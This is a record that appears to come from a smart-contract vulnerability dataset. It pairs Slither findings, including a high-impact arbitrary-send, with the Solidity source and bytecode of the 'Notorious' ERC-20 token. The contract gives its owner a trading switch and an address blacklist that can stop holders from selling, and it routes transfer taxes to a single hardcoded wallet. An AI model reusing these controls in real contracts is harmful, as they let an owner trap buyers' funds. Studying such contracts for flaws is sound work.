5b90508261151b8583611c85565b1461149c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610509565b600061149c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611739565b6000806115c18385611ba9565b90508381101561149c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610509565b808061162157611621611767565b60008060008061163087611783565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165d90856117ca565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168c90846115b4565b6001600160a01b0389166000908152600160205260409020556116ae8161180c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116f391815260200190565b60405180910390a3505050508061170f5761170f600954600855565b5050505050565b6000806000611723611856565b90925090506117328282611572565b9250505090565b6000818361175a5760405162461bcd60e51b815260040161050991906118fc565b5060006114168486611c85565b60006008541161177657600080fd5b6008805460095560009055565b60008060008060008061179887600854611896565b9150915060006117a6611716565b90506000806117b68a85856118c3565b909b909a5094985092965092945050505050565b600061149c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e5565b6000611816611716565b9050600061182483836114f3565b3060009081526001602052604090205490915061184190826115b4565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118718282611572565b82101561188d57505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a960646112e687876114f3565b905060006118b786836117ca565b96919550909350505050565b600080806118d186856114f3565b905060006118df86866114f3565b905060006118ed83836117ca565b92989297509195505050505050565b600060208083528351808285015260005b818110156119295785810183015185820160400152820161190d565b8181111561193b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052857600080fd5b803561197181611951565b919050565b6000806040838503121561198957600080fd5b823561199481611951565b946020939093013593505050565b6000806000606084860312156119b757600080fd5b83356119c281611951565b925060208401356119d281611951565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0c57600080fd5b823567ffffffffffffffff80821115611a2457600080fd5b818501915085601f830112611a3857600080fd5b813581811115611a4a57611a4a6119e3565b8060051b604051601f19603f83011681018181108582111715611a6f57611a6f6119e3565b604052918252848201925083810185019188831115611a8d57600080fd5b938501935b82851015611ab257611aa385611966565b84529385019392850192611a92565b98975050505050505050565b600060208284031215611ad057600080fd5b813561149c81611951565b60008060408385031215611aee57600080fd5b8235611af981611951565b91506020830135611b0981611951565b809150509250929050565b600060208284031215611b2657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ba257611ba2611b78565b5060010190565b60008219821115611bbc57611bbc611b78565b500190565b600060208284031215611bd357600080fd5b815161149c81611951565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2e5784516001600160a01b031683529383019391830191600101611c09565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6157611c61611b78565b500390565b6000816000190483118215151615611c8057611c80611b78565b500290565b600082611ca257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8ae5b801f65e35285b9af8c41a1f38acb87624c0b926df88ab598c498de816464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,429 |
0x7f129f0f7599fdd8b50e8ca6c89dd1fcd0490668
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
// Notorious
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Notorious is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Notorious";
string private constant _symbol = unicode"🎩";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xB6B0c50506BAB4CbD1987d329c315Ba2dB35920D);
address payable private _marketingAddress = payable(0xB6B0c50506BAB4CbD1987d329c315Ba2dB35920D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 40000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae6565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260098152684e6f746f72696f757360b81b60208201525b6040516102399190611bab565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611c00565b610699565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50671bc16d674ec800005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611c2c565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611c6d565b610719565b34801561036d57600080fd5b506101fc61037c366004611c9a565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611c6d565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611cb5565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611c6d565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611c9a565b6108cc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b50604080518082019091526004815263f09f8ea960e01b602082015261022c565b3480156104bb57600080fd5b506101fc6104ca366004611cb5565b610914565b3480156104db57600080fd5b506101fc6104ea366004611cce565b610943565b3480156104fb57600080fd5b5061026261050a366004611c00565b610af9565b34801561051b57600080fd5b5061026261052a366004611c6d565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc610b06565b34801561056057600080fd5b506101fc61056f366004611d00565b610b5a565b34801561058057600080fd5b506102c161058f366004611d84565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611cb5565b610bfb565b3480156105e657600080fd5b506101fc6105f5366004611c6d565b610c2a565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611dbd565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611df2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611e1e565b915050610630565b5050565b60006106a6338484610d14565b5060015b92915050565b60006106bd848484610e38565b61070f843361070a85604051806060016040528060288152602001611f38602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611374565b610d14565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611dbd565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611dbd565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f4816113ae565b50565b6001600160a01b0381166000908152600260205260408120546106aa906113e8565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611dbd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611dbd565b674563918244f400008111156107f457601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161062490611dbd565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062490611dbd565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062490611dbd565b60048411156109cc5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610624565b6014821115610a285760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610624565b6004831115610a885760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610624565b6014811115610ae55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610624565b600893909355600a91909155600955600b55565b60006106a6338484610e38565b6012546001600160a01b0316336001600160a01b03161480610b3b57506013546001600160a01b0316336001600160a01b0316145b610b4457600080fd5b6000610b4f306107f7565b90506107f48161146c565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161062490611dbd565b60005b82811015610bf5578160056000868685818110610ba657610ba6611df2565b9050602002016020810190610bbb9190611c6d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bed81611e1e565b915050610b87565b50505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161062490611dbd565b601755565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161062490611dbd565b6001600160a01b038116610cb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610f605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610f8c57506000546001600160a01b03838116911614155b1561126d57601554600160a01b900460ff16611025576000546001600160a01b038481169116146110255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b6016548111156110775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff161580156110b957506001600160a01b03821660009081526010602052604090205460ff16155b6111115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b038381169116146111965760175481611133846107f7565b61113d9190611e39565b106111965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b60006111a1306107f7565b6018546016549192508210159082106111ba5760165491505b8080156111d15750601554600160a81b900460ff16155b80156111eb57506015546001600160a01b03868116911614155b80156112005750601554600160b01b900460ff165b801561122557506001600160a01b03851660009081526005602052604090205460ff16155b801561124a57506001600160a01b03841660009081526005602052604090205460ff16155b1561126a576112588261146c565b47801561126857611268476113ae565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112af57506001600160a01b03831660009081526005602052604090205460ff165b806112e157506015546001600160a01b038581169116148015906112e157506015546001600160a01b03848116911614155b156112ee57506000611368565b6015546001600160a01b03858116911614801561131957506014546001600160a01b03848116911614155b1561132b57600854600c55600954600d555b6015546001600160a01b03848116911614801561135657506014546001600160a01b03858116911614155b1561136857600a54600c55600b54600d555b610bf5848484846115f5565b600081848411156113985760405162461bcd60e51b81526004016106249190611bab565b5060006113a58486611e51565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b600060065482111561144f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b6000611459611623565b90506114658382611646565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611df2565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150857600080fd5b505afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611e68565b8160018151811061155357611553611df2565b6001600160a01b0392831660209182029290920101526014546115799130911684610d14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611e85565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160257611602611688565b61160d8484846116b6565b80610bf557610bf5600e54600c55600f54600d55565b60008060006116306117ad565b909250905061163f8282611646565b9250505090565b600061146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ed565b600c541580156116985750600d54155b1561169f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c88761181b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fa9087611878565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172990866118ba565b6001600160a01b03891660009081526002602052604090205561174b81611919565b6117558483611963565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179a91815260200190565b60405180910390a3505050505050505050565b6006546000908190671bc16d674ec800006117c88282611646565b8210156117e457505060065492671bc16d674ec8000092509050565b90939092509050565b6000818361180e5760405162461bcd60e51b81526004016106249190611bab565b5060006113a58486611ef6565b60008060008060008060008060006118388a600c54600d54611987565b9250925092506000611848611623565b9050600080600061185b8e8787876119dc565b919e509c509a509598509396509194505050505091939550919395565b600061146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611374565b6000806118c78385611e39565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b6000611923611623565b905060006119318383611a2c565b3060009081526002602052604090205490915061194e90826118ba565b30600090815260026020526040902055505050565b6006546119709083611878565b60065560075461198090826118ba565b6007555050565b60008080806119a1606461199b8989611a2c565b90611646565b905060006119b4606461199b8a89611a2c565b905060006119cc826119c68b86611878565b90611878565b9992985090965090945050505050565b60008080806119eb8886611a2c565b905060006119f98887611a2c565b90506000611a078888611a2c565b90506000611a19826119c68686611878565b939b939a50919850919650505050505050565b600082611a3b575060006106aa565b6000611a478385611f18565b905082611a548583611ef6565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b8035611ae181611ac1565b919050565b60006020808385031215611af957600080fd5b823567ffffffffffffffff80821115611b1157600080fd5b818501915085601f830112611b2557600080fd5b813581811115611b3757611b37611aab565b8060051b604051601f19603f83011681018181108582111715611b5c57611b5c611aab565b604052918252848201925083810185019188831115611b7a57600080fd5b938501935b82851015611b9f57611b9085611ad6565b84529385019392850192611b7f565b98975050505050505050565b600060208083528351808285015260005b81811015611bd857858101830151858201604001528201611bbc565b81811115611bea576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1357600080fd5b8235611c1e81611ac1565b946020939093013593505050565b600080600060608486031215611c4157600080fd5b8335611c4c81611ac1565b92506020840135611c5c81611ac1565b929592945050506040919091013590565b600060208284031215611c7f57600080fd5b813561146581611ac1565b80358015158114611ae157600080fd5b600060208284031215611cac57600080fd5b61146582611c8a565b600060208284031215611cc757600080fd5b5035919050565b60008060008060808587031215611ce457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1557600080fd5b833567ffffffffffff